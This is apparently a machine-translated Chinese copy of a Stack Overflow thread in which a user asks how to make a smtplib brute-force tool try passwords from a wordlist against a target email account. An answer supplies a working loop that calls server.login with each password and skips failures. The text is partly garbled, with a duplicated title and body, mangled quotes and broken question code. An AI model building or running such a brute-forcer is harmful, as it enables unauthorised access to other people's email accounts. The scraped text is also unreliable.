如何在python中将特定行作为brute forcer工具的输入
我已经为顶级邮件服务创建了一个使用smtplib模块的暴力工具,但我遇到了一个问题。问题是如何将文本文件作为输入如何在python中将特定行作为brute forcer工具的输入,python,smtp,brute-force,txt,Python,Smtp,Brute Force,Txt,我已经为顶级邮件服务创建了一个使用smtplib模块的暴力工具,但我遇到了一个问题。问题是如何将文本文件作为输入 我希望该工具应该采取的密码从第一行的字列表,并尝试它,然后,它会移动到下一个密码,并尝试它 我尝试的是:- def wordlist(): global file file = open('file.txt') global max_line max_line = int(input("Please enter the number of p
我希望该工具应该采取的密码从第一行的字列表,并尝试它,然后,它会移动到下一个密码,并尝试它 我尝试的是:-
def wordlist():
global file
file = open('file.txt')
global max_line
max_line = int(input("Please enter the number of passwords (lines) in the worldist: "))
global line
line = file.readlines()
global line_no
line_no = 0
main()
def main():
line_no+=1
while max_line!=line_no:
server.login('target@email.com', line[count])
line_no+=1
if __name__ == "__main__":
wordlist()
简单地说,我想创建一个循环,在这个循环中,工具应该从wordlist中获取第一个密码并进行尝试,然后移动到下一个类似以下内容:
for password in passwords:
mail="From:example@example.com To:example@example.com Password:%s Text:wbdshgfbd" %(password)
您可以使用拆分(“\n”)来分隔密码,然后使用列表
passwords=passwordsText.split("\n")
for i in passwords:
try:
server.login('target@email.com', str(i))
except Exception:
continue
可能是这样。有任何代码/尝试吗?我希望该工具应该一个接一个地获取密码。例如,它应该先尝试123456,然后再尝试12345678,依此类推……该工具将使用以下方法:server.login('target@email.com“,“password”)您是否介意编辑您的答案并添加代码工作方式的说明?